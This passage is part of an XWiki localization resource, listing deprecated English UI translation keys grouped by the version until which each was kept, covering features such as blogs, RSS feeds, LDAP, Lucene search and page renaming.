settings\nannotations.config.activate.explanation=The following two settings allow you to configure in which spaces are annotations active. The first setting specifies the general rule, while the second list specifies the spaces for which the rule shouldn't apply. For example, activated \"yes\" and exception spaces \"XWiki\" and \"Main\" means that annotations will be active on all spaces except for \"XWiki\" and \"Main\", while activated \"no\" and exception spaces \"Documents\" means that annotations will be active only for the \"Documents\" space.\nannotations.config.type.explanation=Add properties to this class if you want extra properties for your annotations.\nadmin.annotations=Annotations", "#######################################\n## until 5.1RC1\n#######################################", "#@deprecated admin.analytics.account.description\nadmin.analytics.sectiondesc=To enable page view tracking in Google Analytics\\u2122, enter your Google Analytics\\u2122 account here. You may enter more accounts (space separated) to track pages in multiple accounts.", "dashboard.gadget.actions.tooltip=Gadget settings", "#######################################\n## until 5.1\n#######################################\nadmin.sender=Default sender email address", "#######################################\n## until 5.2M2\n#######################################\npanels.translation.originalLanguage=The original language of the document is <a href=\"{0}\">{1}</a>.", "#######################################\n## until 5.2M2\n#######################################\nxe.tag.rss.tag.title=RSS feed for tag: {0}\nxe.tag.rss.tag.description=RSS feed for all pages containing tag: {0}\nxe.tag.rss.tags.title=RSS feed for tagged pages\nxe.tag.rss.tags.description=RSS feed for all pages containing tags\nxe.rss.space.description=RSS feed for document changes on space \"{0}\"", "#######################################\n## until 5.4RC1\n#######################################\nplatform.extension.distributionWizard.upgrademodeStepTitle=Upgrade Mode\nplatform.extension.distributionWizard.upgrademodeStepSummary=Choose whether to upgrade the entire farm or just the main wiki\nplatform.extension.distributionWizard.upgradeStepModeLabel=Upgrade mode\nplatform.extension.distributionWizard.upgradeStepModeHint=Choose carefully because the upgrade process may involve fixing merge conflicts and thus it's recommended to leave this to the person that knows best how to fix them.\nplatform.extension.distributionWizard.upgradeStep.mode.WIKI.label=Upgrade only the current wiki. Choose this option if each wiki is administrated by a separate entity. In this case it's best if each wiki is upgraded by its owner.\nplatform.extension.distributionWizard.upgradeStep.mode.ALLINONE.label=Upgrade all wikis. Choose this option if all wikis are administrated by the same entity.", "#######################################\n## until 6.0M1\n#######################################\nxe.panels.viewer=Viewer panels\nxe.panels.editor=Editor panels", "#######################################\n## until 6.0M2\n#######################################\nplatform.extension.updater.reloadHint=In case this information is outdated you can {0}recompute{1} the upgrade plan.", "#######################################\n## until 6.1M1\n#######################################\nxe.userdirectory.doc.fullName=User ID", "#######################################\n## until 6.2M1\n#######################################\nextensions.info.jobLog=Job log", "#@deprecated job.log.label.install\nextensions.info.jobLog.install=Install log\n#@deprecated job.log.label.installplan\nextensions.info.jobLog.installplan=Install plan log\n#@deprecated job.log.label.uninstall\nextensions.info.jobLog.uninstall=Uninstall log\n#@deprecated job.log.label.uninstallplan\nextensions.info.jobLog.uninstallplan=Uninstall plan log", "#######################################\n## until 6.3\n#######################################\neditincludepagemsgone=$pages.size() included document\neditincludepagemsgmore=$pages.size() included documents\nsimpleedittoolbardesc=Click on a button to get a sample text\nsimpleedittoolbardesc2=Enter the text that you wish to format. It will be shown to be copy-pasted.\\\\nExample:\\\\n$1\\\\nwill become:\\\\n$2\nmyhomepage=$xwiki.getDocument($context.user).display(\"first_name\", \"view\", $xwiki.getDocument($context.user).getObject(\"XWiki.XWikiUsers\", 0))'s profile\nviewcodetitle=Wiki code for <em>$doc.displayTitle</em>\nviewcommentstitle=Comments for <em>$doc.displayTitle</em>\nviewattachmentstitle=Attachments for <em>$doc.displayTitle</em>\nviewhistorytitle=History of <em>$doc.displayTitle</em>\nviewinformationtitle=Information about <em>$doc.displayTitle</em>\neditgroupsredirect=You can currently edit groups using the wiki on <a href=\"$xwiki.getURL(\"XWiki.XWikiGroups\")\">the groups page</a>.\neditusersredirect=You can currently edit users using the wiki on <a href=\"$xwiki.getURL(\"XWiki.XWikiUsers\")\">the users page</a>.", "#######################################\n## until 6.4M2\n#######################################\nplatform.appwithinminutes.liveTableEditorIconHint=You need to provide a reference to a 16x16px icon, you can pick a name from our <a href=\"{0}\" target=\"_blank\">default icons set</a> and use the **icon:** prefix. For example: **icon:application**.\nadmin.email=Email\nadmin.email.description=Configure the email sending process.\nXWiki.XWikiPreferences_smtp_server=Server\nXWiki.XWikiPreferences_smtp_port=Port\nXWiki.XWikiPreferences_smtp_server_username=Server username (optional)\nXWiki.XWikiPreferences_smtp_server_password=Server password (optional)\nXWiki.XWikiPreferences_javamail_extra_props=Additional JavaMail properties\nXWiki.XWikiPreferences_admin_email=Admin email\nXWiki.XWikiPreferences_admin_email.hint=The default email address used to send notification emails from\nXWiki.XWikiPreferences_obfuscateEmailAddresses=Obfuscate Email Addresses\nXWiki.XWikiPreferences_obfuscateEmailAddresses.hint=This affects only the email addresses stored in object properties of type Email, as long as the default custom displayer for the Email property type is not overwritten. Example: a...@domain.org", "#######################################\n## until 7.0M1\n#######################################\nplatform.appwithinminutes.classEditorDatePickerMonthNames=January, February, March, April, May, June, July, August, September, October, November, December\nplatform.appwithinminutes.classEditorDatePickerWeekDayNames=Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday\nplatform.appwithinminutes.classEditorDatePickerFirstWeekDay=0", "#######################################\n## until 7.0M2\n#######################################", "### RSS\nxe.rss.feeds=RSS Feeds\nxe.rss.feeds.description=There are currently 4 types of RSS feeds available on this wiki. You can subscribe to each of them by clicking on their name or on the icon next to them.\nxe.rss.search=Search RSS feeds:\nxe.rss.search.description=RSS feed on a specific search query term. To generate such a feed, go to the {0} page, run a search on a keyword and then click on the RSS icon.\nxe.rss.tags=Tags RSS feeds:\nxe.rss.tags.feed=Tags RSS Feed\nxe.rss.tags.description=RSS feed on documents tagged with a specific term or all documents with a tag. To generate such a feed, go to the {0} page and click on the RSS feed icon you wish to use.\nxe.rss.blog=Blog RSS feed:\nxe.rss.blog.feed=Blog RSS Feed\nxe.rss.blog.description=RSS feed of blog posts from all blogs.\nxe.rss.global=Global RSS feed:\nxe.rss.global.description=RSS feed of page activity.\nxe.rss.icon=rss icon\nxe.rss.version=Version\nxe.rss.editedby=edited by\nxe.rss.on=on", "#######################################\n## until 7.0RC1\n#######################################", "### Spaces (XWiki Enterprise wiki)\nxe.spaces=Spaces\nxe.spaces.createspace=Create a new space\nxe.spaces.createspace.defaultname=Space name\nxe.spaces.createspace.submit=Create\nxe.spaces.action.index=See space index\nxe.spaces.action.index.alt=Space index\nxe.spaces.action.admin=See space administration\nxe.spaces.action.admin.alt=Administer space\nxe.spaces.action.delete.alt=Delete space\nxe.spaces.deleteSpace.deleted=Space \\u00AB{0}\\u00BB deleted.", "### RSS\nxe.rss.pages.modified=Modified Pages RSS Feed\nxe.rss.feed.description=RSS feed for document changes\nxe.rss.feed.tags.description=RSS feed for documents tagged with \"{0}\"\nxe.rss.feed.spaces.description=RSS feed for documents in space(s) \"{0}\"\nxe.rss.feed.tagsAndSpaces.description=RSS feed for documents tagged with \"{0}\" in space(s) \"{1}\"", "### History\ncore.viewers.diff.tag.tags=Tags\ncore.viewers.diff.contentChanges=Content changes\ncore.viewers.diff.attachmentChanges=Attachment changes\ncore.viewers.diff.attachment.added=Attachment has been added\ncore.viewers.diff.attachment.deleted=Attachment has been deleted\ncore.viewers.diff.attachment.updated=Attachment has been updated from version <a href=\"{1}\">{0}</a> to version <a href=\"{3}\">{2}</a>\ncore.viewers.diff.commentChanges=Comment changes\ncore.viewers.diff.comment.added=Comment number {0} added\ncore.viewers.diff.comment.deleted=Comment number {0} deleted\ncore.viewers.diff.comment.updated=Comment number {0} modified\ncore.viewers.diff.comment.author=Author\ncore.viewers.diff.comment.date=Date\ncore.viewers.diff.comment.comment=Comment content\ncore.viewers.diff.comment.highlight=Highlighted text\ncore.viewers.diff.comment.replyto=Reply to\ncore.viewers.diff.comment.target=Comment target\ncore.viewers.diff.comment.state=Comment state\ncore.viewers.diff.comment.selection=Selection\ncore.viewers.diff.comment.originalSelection=Original selection\ncore.viewers.diff.comment.selectionLeftContext=Selection left context\ncore.viewers.diff.comment.selectionRightContext=Selection right context\ncore.viewers.diff.objectChanges=Object changes\ncore.viewers.diff.object.added=Object number {0} of type {1} added\ncore.viewers.diff.object.deleted=Object number {0} of type {1} deleted\ncore.viewers.diff.object.updated=Object number {0} of type {1} modified\ncore.viewers.diff.classChanges=Class changes\ncore.viewers.diff.class.added=Added property {0}\ncore.viewers.diff.class.removed=Removed property {0}\ncore.viewers.diff.class.changed=Changed property {0}", "### Old History (should have been deprecated long time ago)\nchanges.changesofpage=Changes\nchanges.in=in\nchanges.space=space\nchanges.from=From\nchanges.to=To\nchanges.comment=Change comment\nchanges.nocomment=There is no comment for this version\nchanges.version=Version\nchanges.editedby=edited by\nchanges.on=on\nchanges.metadatachanges=Metadata changes\nchanges.property=Property\nchanges.nometadatachanges=There are no metadata changes\nchanges.contentchanges=Content changes\nchanges.nocontentchanges=There are no content changes\nchanges.attachmentchanges=Attachment changes\nchanges.noattachmentchanges=There are no attachment changes\nchanges.filename=Filename\nchanges.action=Action\nchanges.commentchanges=Comment changes\nchanges.nocommentchanges=There are no comment changes\nchanges.metadata.parent=Parent\nchanges.metadata.web=Space\nchanges.metadata.name=Page Name\nchanges.metadata.author=Author\nchanges.metadata.language=Language\nchanges.metadata.defaultLanguage=Default Language\nchanges.attachmentadded=Attachment has been added\nchanges.attachmentdeleted=Attachment has been deleted\nchanges.attachmentupdatedfromversion=Attachment has been updated from version\nchanges.toversion=to version\nchanges.commentchange=Comment change\nchanges.commentAdded=Comment number {0} added\nchanges.commentRemoved=Comment number {0} removed\nchanges.comment.property=Property\nchanges.comment.previousvalue=Previous value\nchanges.comment.newvalue=New value\nchanges.comment.author=Author\nchanges.comment.date=Date\nchanges.comment.comment=Comment\nchanges.comment.highlight=Highlighted text\nchanges.comment.replyto=Reply to\nchanges.blog.title=Title\nchanges.blog.extract=Extract\nchanges.blog.category=Categories\nchanges.blog.editcategories=Edit categories\nchanges.blog.addnewcategory=Add a category\nchanges.tag.tags=Tags\nchanges.objectchanges=Object Changes\nchanges.objectAdded=Object added\nchanges.objectRemoved=Object removed\nchanges.ofclass=of class\nchanges.noobjectchanges=No Object Changes\nchanges.classeschanges=Class Changes\nchanges.noclasseschanges=No Class Changes", "#######################################\n## until 7.1M1\n#######################################", "search.page.bar.query.label=Query\nplatform.appwithinminutes.appHomePageTitle={0} Home", "### History\nweb.history.changes.attachment.author=Author\nweb.history.changes.lineEndings=Only the line endings have changed", "#@deprecated web.history.changes.document.title\ncore.viewers.diff.metadata.title=Title\n#@deprecated web.history.changes.document.parent\ncore.viewers.diff.metadata.parent=Parent\n#@deprecated web.history.changes.document.hidden\ncore.viewers.diff.metadata.hidden=Hidden\n#@deprecated web.history.changes.document.defaultLocale\ncore.viewers.diff.metadata.defaultLanguage=Default language\n#@deprecated web.history.changes.document.syntax\ncore.viewers.diff.metadata.syntax=Syntax", "core.viewers.diff.metadata.author=Author\ncore.viewers.diff.metadata.language=Language\ncore.viewers.diff.metadata.name=Name\ncore.viewers.diff.metadata.web=Space\ncore.viewers.diff.metadata.space=Space", "#######################################\n## until 7.2M1\n#######################################", "### Create UI\ncore.create.spaceTitle=Create Space\ncore.create.space=Space Name\ncore.create.space.hint=Name of the new space\ncore.create.space.template.hint=Template to use for the homepage of the new space\ncore.create.space.template.empty=Blank Homepage\ncore.create.page.space.hint=Containing space for the new page", "#######################################\n## until 7.2M2\n#######################################", "### Create UI\ncore.create.page=Page Name\ncore.create.page.hint=Name of the new page\ncore.create.pageText=NewPage", "### Copy UI\ncore.copy.sourcewiki=Source Wiki\ncore.copy.sourcewiki.hint=Location of the original wiki\ncore.copy.sourcespace=Source Space\ncore.copy.sourcespace.hint=Location of the original space\ncore.copy.sourcepage=Source Page\ncore.copy.sourcepage.hint=Location of the original page\ncore.copy.targetwiki=Target Wiki\ncore.copy.targetwiki.hint=Desired wiki location for the copied page\ncore.copy.targetspace=Target Space\ncore.copy.targetspace.hint=Desired space location for the copied page\ncore.copy.targetpage=Target Page\ncore.copy.targetpage.hint=Desired page location for the copied page", "### Rename UI\ncore.rename.title.newName=New document name\ncore.rename.title.updateDocs=Documents having backlinks to modify\ncore.rename.title.updateChildren=Documents having this document as their parent\ncore.rename.inputPrompt=<new document name>\ncore.rename.sourcespace=Source Space\ncore.rename.sourcespace.hint=Location of the original space\ncore.rename.sourcepage=Source Page\ncore.rename.sourcepage.hint=Location of the original page\ncore.rename.newspace=New space\ncore.rename.newspace.hint=Containing space for the renamed page\ncore.rename.newpage=New page\ncore.rename.newpage.hint=Name of the renamed page", "#######################################\n## until 7.2M3\n#######################################", "platform.dashboard.wiki.spaces=Spaces", "#######################################\n## until 7.3RC1\n#######################################", "## Replaced with the more generic admin.preferences.title key used for all WebPreferences page titles.\nxe.xwiki.space.preferences=XWiki Space Preferences", "## The restrictions on the class name have been dropped. \nplatform.appwithinminutes.appNameInvalidClassNameError=We can't extract a valid class name from the application name you entered. Make sure you include letters in the application name besides digits and punctuation signs.", "## The \"type\" property has been removed and data migrated to the new \"terminal\" property.\nxe.templateprovider.templatetype=Template type\nxe.templateprovider.templatetype.info=Whether this template should be used for creating generic pages or is specific to space homepages", "#######################################\n## until 7.4M1\n#######################################", "## We don't need this key any more because the page that is going to be created is specified by the location picker.\ncore.create.newPageTitle=Create Page: {0}", "## The database search UI doesn't use these keys any more.\nsearch.item.location=Located in <a href=\"{1}\">{0}</a> &#187; <a href=\"{3}\">{2}</a> &#187; <a href=\"{5}\">{4}</a>\nsearch.page.bar.spaces.all=All spaces\nsearch.page.results.copy=Copy\nsearch.page.results.delete=Delete\nsearch.page.results.rename=Rename\nsearch.page.results.rights=Rights\nsearch.page.results.guest=Guest", "#######################################\n## until 7.4\n#######################################", "core.rename.success=Successfully renamed page {0} in space {3} to page <a href=\"{2}\">{1}</a> in space {4}\ncore.copy.copyingdoc=Page {0} successfully copied to {1}", "#######################################\n## until 7.4.3 / 8.0RC1\n#######################################", "core.rename.children.labelWithoutParams=Affect the child pages\ncore.rename.links.labelWithoutParams=Update the wiki links", "#######################################\n## until 8.1M1\n#######################################", "core.viewers.jump.quickLinksText=Jump to any page in the wiki (Meta+G)", "#######################################\n## until 8.2M2\n#######################################", "# Home\nxe.home.title=Home", "#######################################\n## until 8.2RC1\n#######################################", "platform.dashboard.wiki.welcome=Welcome to your wiki", "#######################################\n## until 8.3M1\n#######################################", "platform.ldap.missingLdapService=LDAP service is not available. Please verify your installation.\nplatform.ldap.ldapAuthenticationIsNotEnabledWarning=LDAP authentication is not enabled. Please set LDAP as authentication service in ##xwiki.cfg##\nplatform.ldap.ldapGroupTip=LDAP group...\nplatform.ldap.xwikiGroupTip=XWiki group...\nplatform.ldap.ldapUserField=LDAP field...\nplatform.ldap.xwikiUserField=XWiki user property...\nplatform.ldap.adminHeadingConfiguration=Configuration\nplatform.ldap.adminHeadingMiscellaneous=Miscellaneous\nplatform.ldap.resetGroupCacheSuccess=Groups cache has been reset\nplatform.ldap.resetGroupCacheButton=Reset group cache", "#######################################\n## until 8.3\n#######################################", "xe.xwiki.space=XWiki", "#######################################\n## until 8.4RC1\n#######################################", "#@deprecated platform.web.init.message.initializing\nplatform.web.init.message.intializing=XWiki is initializing ({0}%)...\n#@deprecated platform.web.init.message.initializationFailure\nplatform.web.init.message.intializationFailure=XWiki initialization failed!\n#@deprecated platform.web.init.message.initializationSuccess\nplatform.web.init.message.intializationSuccess=XWiki is initialized, you will be redirected shortly", "#######################################\n## until 9.1.2\n#######################################", "admin.section.title=Administration: {0}\nxe.admin.global=Global\nadmin.xwiki.addextensions=Add Extensions\n#@deprecated admin.xwiki.extensions.description\nadmin.xwiki.addextensions.description=Search for new extensions to add to the wiki.\nadmin.xwiki.installedextensions=Installed Extensions\nadmin.xwiki.installedextensions.description=See the list of already installed extensions, which you can upgrade or uninstall.\nadmin.xwiki.coreextensions=Core Extensions\nadmin.xwiki.coreextensions.description=See what extensions make up the core of XWiki.\n#@deprecated extension.updater\nadmin.xwiki.extensionupdater=Extension Updater\nadmin.translations=Translations\nexport_authorpreserved=Author preserved\nadmin.applications=Applications\nadmin.applications.description=Various settings for pluggable applications.\nadmin.configuration=Configuration\nadmin.configuration.description=General configuration of the wiki.\nadmin.elements=Page Elements\nadmin.elements.description=Choose what to display in the titlebar and page footer, and which side panels and page metadata tabs to display.", "search.admin.configuration.title=Configuration", "search.admin.lucene.title=Lucene search administration\nsearch.admin.lucene.status.title=Status\nsearch.admin.lucene.status.infotitle=Info\nsearch.admin.lucene.status.valuetitle=Value\nsearch.admin.lucene.status.indexed=Number of indexed elements\nsearch.admin.lucene.status.indexing=Number of elements in indexing queue\nsearch.admin.lucene.indexing.title=Indexing\nsearch.admin.lucene.indexing.description=Tools to control Lucene index.\nsearch.admin.lucene.indexing.action.indexfarm=Index the whole farm\nsearch.admin.lucene.indexing.action.indexcurrentwiki=Index the wiki\nsearch.admin.lucene.indexing.action.indexcustom=Custom index\nsearch.admin.lucene.indexing.action.indexcustom.wikis=Wikis\nsearch.admin.lucene.indexing.action.indexcustom.wikis.title=Comma separated list of wiki identifiers\nsearch.admin.lucene.indexing.action.indexcustom.hqlfilter=An HQL based filter query\nsearch.admin.lucene.indexing.action.indexcustom.hqlfilter.title=Same as in searchDocument() methods\nsearch.admin.lucene.indexing.action.indexcustom.clearindex=Clear the index\nsearch.admin.lucene.indexing.action.indexcustom.clearindex.title=The index is cleaned before starting to scan database\nsearch.admin.lucene.indexing.action.indexcustom.onlynew=Only index elements not already indexed\nsearch.admin.lucene.indexing.action.indexcustom.onlynew.title=A page is loaded and scanned only if it is not already in the Lucene index\nsearch.admin.lucene.indexing.message.started=Started index rebuild.\nsearch.admin.lucene.indexing.message.alreadystarted=Another rebuild is in progress.\nsearch.admin.lucene.indexing.button=Start indexing\nsearch.extension.title.lucene=Lucene\nsearch.page.lucene.title.query=Lucene Search: {0}\nsearch.page.lucene.title.noquery=Lucene Search\nsearch.page.lucene.rebuilding=Lucene is currently building its index, {0} pages in queue.\nsearch.lucene.plugin.notfound=Lucene plugin not found. Make sure it's defined in your xwiki.cfg file.", "#######################################\n## until 9.3-rc-1\n#######################################\ncreateblogpost=Blog post", "xe.panels.quicklinks.blog=Blog", "### Blog application\nxe.blog.archive.paneltitle=Blog Archive\nxe.blog.archive.noarticle=No articles yet...\nxe.blog.archive.postsyear=Blog posts for {0}\nxe.blog.archive.unpublished=(unpublished)\nxe.blog.archive.hidden=(hidden)\nxe.blog.archive.noarticlesyear=No articles in this year...\nxe.blog.archive.postsfor=Blog posts for\nxe.blog.archive.noarticlesmonth=No articles in this month...\nxe.blog.code.blogsheet=Blog sheet\nxe.blog.code.sheetexplanation=This sheet should be used to display blog pages.\nxe.blog.code.notblog=This is not a blog page!\nxe.blog.code.published=This blog post is not published yet.\nxe.blog.code.hidden=This blog post is hidden.\nxe.blog.code.notpublished=This blog post is not published yet. Publish it.\nxe.blog.code.madevisible=Entry has been made visible.\nxe.blog.code.hid=Hidden entry\nxe.blog.code.makevisible=This blog post is not visible to other users. Make it visible.\nxe.blog.code.hide=Hide this blog post from other users.\nxe.blog.code.loading=Loading...\nxe.blog.code.failedToChangeBlogPostVisibility=Failed to change blog post visibility.\nxe.blog.code.editpost=Edit this blog post\nxe.blog.code.deletepost=Delete this blog post\nxe.blog.code.readpost=Read the full entry\nxe.blog.code.postedby=Posted by\nxe.blog.code.createdby=Created by\nxe.blog.code.modifiedby=Modified by\nxe.blog.code.comments=Comments\nxe.blog.code.permalink=Permalink\nxe.blog.code.categories=Categories:\nxe.blog.code.in=in\nxe.blog.code.previousweek=Previous week\nxe.blog.code.nextweek=Next week\nxe.blog.code.previousmonth=Previous month\nxe.blog.code.nextmonth=Next month\nxe.blog.code.olderposts=Older posts\nxe.blog.code.newerposts=Newer posts\nxe.blog.code.blogcategories=Blog categories\nxe.blog.code.description.category=Most recent blog posts in the {0} category\nxe.blog.code.description.space=Most recent blog posts in the {0} space\nxe.blog.code.description.wiki=Most recent blog posts in the wiki\nxe.blog.code.title=Blog\nxe.blog.code.warning=Warning:\nxe.blog.sheet.notpost=This is not a blog post!\nxe.blog.sheet.category=Category:\nxe.blog.sheet.summary=Summary (optional):\nxe.blog.sheet.content=Content:\nxe.blog.sheet.title=Title:\nxe.blog.sheet.publicationdate=This article was published on {0}\nxe.blog.sheet.hidearticle=Hide article {0}\nxe.blog.sheet.notpublished=This article is not published yet.\nxe.blog.sheet.publish=Publish\nxe.blog.sheet.setdate=Set the publication date to:\nxe.blog.category.created=The {0} category has been created.\nxe.blog.category.exists=The {0} category already exists.\nxe.blog.categories.paneltitle=Blog Categories\nxe.blog.categories.name=Name:\nxe.blog.categories.parentcategory=Parent category:\nxe.blog.categories.description=Description:\nxe.blog.categories.add=Add\nxe.blog.categories.new=New category:\nxe.blog.categories.newName=New category name:\nxe.blog.categories.parent=Parent:\nxe.blog.categories.none=None\nxe.blog.categories.remove=Remove deleted category\nxe.blog.categories.edit=Edit Categories\nxe.blog.categories.subcategories=Subcategories\nxe.blog.categories.addsubcategory=Add new subcategory\nxe.blog.categories.articles=Articles from this category\nxe.blog.categories.sheet=Category sheet\nxe.blog.categories.sheetmessage=This sheet should be used to display blog categories.\nxe.blog.categories.notcategory=This is not a blog category!\nxe.blog.categories.noentries=No entries in this category\nxe.blog.manageCategories.title=Manage blog categories\nxe.blog.manageCategories.create.error.emptyName=Please enter a valid category name\nxe.blog.manageCategories.create.error.alreadyExists=Target page already exists, please choose a different name\nxe.blog.manageCategories.create.error.notExists=The requested page could not be found.\nxe.blog.manageCategories.create.error.targetNotWritable=You don't have the right to create the target page.\nxe.blog.manageCategories.rename.error.emptyName=Please enter a valid category name\nxe.blog.manageCategories.js.fetchingForm=Fetching form...\nxe.blog.manageCategories.js.error.noServer=Server not responding\nxe.blog.manageCategories.js.rename.inProgress=Renaming category...\nxe.blog.manageCategories.js.rename.error.403=You are not allowed to create the target page\nxe.blog.manageCategories.js.rename.error.404=Invalid category, please refresh the page to update the category tree\nxe.blog.manageCategories.js.rename.error.409=Target page already exists, please choose a different name\nxe.blog.manageCategories.js.add.inProgress=Adding category...\nxe.blog.manageCategories.js.add.error.401=You have been logged out, please refresh and log in\nxe.blog.manageCategories.js.add.error.403=You are not allowed to create the target page\nxe.blog.manageCategories.js.add.error.409=Target page already exists, please choose a different name\nxe.blog.manageCategories.js.delete.confirm=Are you sure you want to delete this category? This action is not reversible.\nxe.blog.manageCategories.js.delete.inProgress=Deleting category...\nxe.blog.manageCategories.js.delete.done=Deleted\nxe.blog.manageCategories.js.delete.failed=Failed to delete category\nxe.blog.manageCategories.comment.updatedParent=Updated category parent\nxe.blog.manageCategories.comment.removedDeletedCategory=Removed deleted category\nxe.blog.manageCategories.comment.updatedRenamedCategory=Updated renamed category\nxe.blog.manageCategories.comment.updatedCategory=Updated category name\nxe.blog.post.createpost=Create a new post\nxe.blog.post.title=Post title\nxe.blog.post.titleEmptyError=The post title should not be empty!\nxe.blog.post.create=Create\nxe.blog.categories.existingcategories=Existing categories\nxe.blog.categories.addcategory=Add a category\nxe.blog.categories.deleteselected=Delete selected categories\nxe.blog.manage.existing=Existing blogs\nxe.blog.manage.createnew=Create a new blog\nxe.blog.manage.nospace=No space provided. Please enter a valid space where the blog should be created.\nxe.blog.manage.space=Space:\nxe.blog.manage.title=Title:\nxe.blog.manage.blogtitle=Blog title\nxe.blog.manage.blogtype=Blog type:\nxe.blog.manage.inside=blog inside an existing space\nxe.blog.manage.main=blog as the main content of a space\nxe.blog.manage.create=Create\nxe.blog.migration.migrated=Migrated old blog article to the new blog application\nxe.blog.migration.updated=Updated\nxe.blog.migration.inspace=in space\nxe.blog.migration.skipping=Skipping protected page\nxe.blog.migration.done=Done.\nxe.blog.migration.backtoblog=Back to the blog\nxe.blog.migration.pleaseconfirm=Please confirm if you want to migrate old articles to the new blog application:\nxe.blog.migration.confirm=Confirm\nxe.blog.publisher.published=Published article\nxe.blog.recentposts.paneltitle=Recent Blog Posts\nxe.blog.unpublished.entries=Unpublished articles\nxe.blog.unpublished.viewall=View all", "#######################################\n## until 9.4-rc-1\n#######################################\ncore.menu.actions=Actions\ncore.menu.moreactions=More actions", "#######################################\n## until 9.5-rc-1\n#######################################\ncore.delete.confirm.yes=Yes, please delete this page\ncore.delete.confirm.no=No, take me back!", "#######################################\n## until 9.7-rc-1\n#######################################", "# Attachment Index\nplatform.index.attachments.doc.name=Page\nplatform.index.attachments.doc.space=Space\n#@deprecated platform.index.attachments.mimeType\nplatform.index.attachments.type=Type", "####################\n# Wiki Macro Bridge Module\n####################", "xe.wikimacrobridge.wikiMacros=Existing wiki macro definitions\nxe.wikimacrobridge.macroName=Name\nxe.wikimacrobridge.macroId=id\nxe.wikimacrobridge.macroDescription=Description\nxe.wikimacrobridge.macroVisibility=Visibility\nxe.wikimacrobridge.macroPage=Macro page\nxe.wikimacrobridge.noWikiMacro=There are no wiki macro defined in this wiki yet.", "#######################################\n## until 10.6-rc-1\n#######################################\ncore.shortcuts.edit.saveandcontinue=Alt+Shift+S\nxe.scheduler.job.name=Job name:\nxe.scheduler.job.description=Job description:\nxe.scheduler.job.expression=Job cron expression:\nxe.scheduler.job.script=Job script:", "#######################################\n## until 10.6\n#######################################\ncore.viewers.comments.permalink.hide=Hide", "#######################################\n## until 10.8-rc-1\n#######################################\nadmin.defaultwikinotinstalled=Your wiki seems empty. You may want to import the default XWiki Enterprise wiki which contains a set of useful pages: user profiles, recent activity, administration pages and many more. This wiki is distributed as a XAR file, you can download it from {0}.", "### Image captcha\ncore.captcha.image.label=Verification image\ncore.captcha.image.instruction=Please type in the word shown above\ncore.captcha.image.alternateText=There is supposed to be an image captcha here, you could refresh the page or press the {0} button to try getting another image.", "#######################################\n## until 10.8\n#######################################", "### Groups Administration Section\n#@deprecated xe.admin.groups.name\nxe.admin.groups.groupname=Group Name", "### Users Administration Section\nxe.admin.users.manage=Manage\nxe.admin.users.username=Username\nxe.admin.users.filter.username=Username filter\n#@deprecated xe.admin.users.first_name\nxe.admin.users.firstname=First name\nxe.admin.users.filter.firstname=First name filter\n#@deprecated xe.admin.users.last_name\nxe.admin.users.lastname=Last name\nxe.admin.users.filter.lastname=Last name filter", "#######################################\n## until 11.1-rc-1\n#######################################\nplatform.search.suggestSourceDocumentName=Page names", "#######################################\n## until 11.1\n#######################################\ncore.editors.class.switchClass.submit=Edit\ncore.editors.class.switchClass.warning=Unsaved changes will be lost when switching to another class.", "#######################################\n## until 11.4-rc-1\n#######################################\ncore.editors.save.conflictversion.rollbackmessage=The document has been modified since you last saved it. Please copy your changes and reload the page to get the latest version and reapply your changes.\ncore.editors.save.conflictversion.previousVersion=Your version of the document:\ncore.editors.save.conflictversion.latestVersion=Latest version of the document:\ncore.editors.save.conflictversion.diffLink=Click here to check out the changes made on the latest version since you started editing it.", "#######################################\n## until 11.6-rc-1\n#######################################\nauth_active_check=Check Active fields for user authentication\nXWiki.XWikiPreferences_auth_active_check=Authentication Active Check", "#######################################\n## until 11.8-rc-1\n#######################################\nxe.userdirectory.customizeColumnsTitle=Customize the columns to display\nxe.userdirectory.customizeAvailableColumnsLabel=Available columns\nxe.userdirectory.customizeAvailableColumnsHint=Columns that can be displayed in the user directory for each user.\nxe.userdirectory.customizeAddColumnButtonLabel=Add\nxe.userdirectory.customizeSelectedColumnsLabel=Selected columns\nxe.userdirectory.customizeSelectedColumnsHint=Space or newline separated list of columns, corresponding to properties of the [[XWiki.XWikiUsers]] class, to be displayed in the user directory. Duplicate columns are ignored.", "#######################################\n## until 11.9-rc-1\n#######################################\nplatform.core.profile.passwd.instructions=Your new password must be at least 6 characters long.", "#######################################\n## until 12.3-rc-1\n#######################################\ncore.viewers.information.parent=Parent\ncore.viewers.information.noParent=No parent\ncore.viewers.information.children=Children\ncore.viewers.information.noChildren=No children\ncore.viewers.information.creation=Created\ncore.viewers.information.creationData=by {0} on {1}\ncore.viewers.information.translationCreation=Translated into {0}\ncore.viewers.information.translationCreationData=by {0} on {1}", "#######################################\n## until 12.4-rc-1\n#######################################\ncore.editors.object.delete.confirm=Are you sure you want to delete this object? Canceling the modifications will not restore deleted objects.", "#######################################\n## until 12.10, 12.6.5, 11.10.12\n#######################################\ncore.viewers.jump.dialog.invalidNameError=Invalid page name. Valid names have the following format: Space.Page\ncore.viewers.jump.suggest.noResults=No pages found", "## Used to indicate where deprecated keys end\n#@deprecatedend", "###############################################################################\n## Old but critical deprecated\n## translation keys that kept\n## for backward compatibility\n## (with custom skins generally)\n###############################################################################", "## Used to indicate where keys that does not need to be translated starts\n## l10n wiki used that to not import them for example\nnotranslationsmarker=notranslationsmarker", "hrtext=\nsigntext=\ncore.edit.wikiToolbar.signtext=\ncore.edit.wikiToolbar.hrtext=" ]
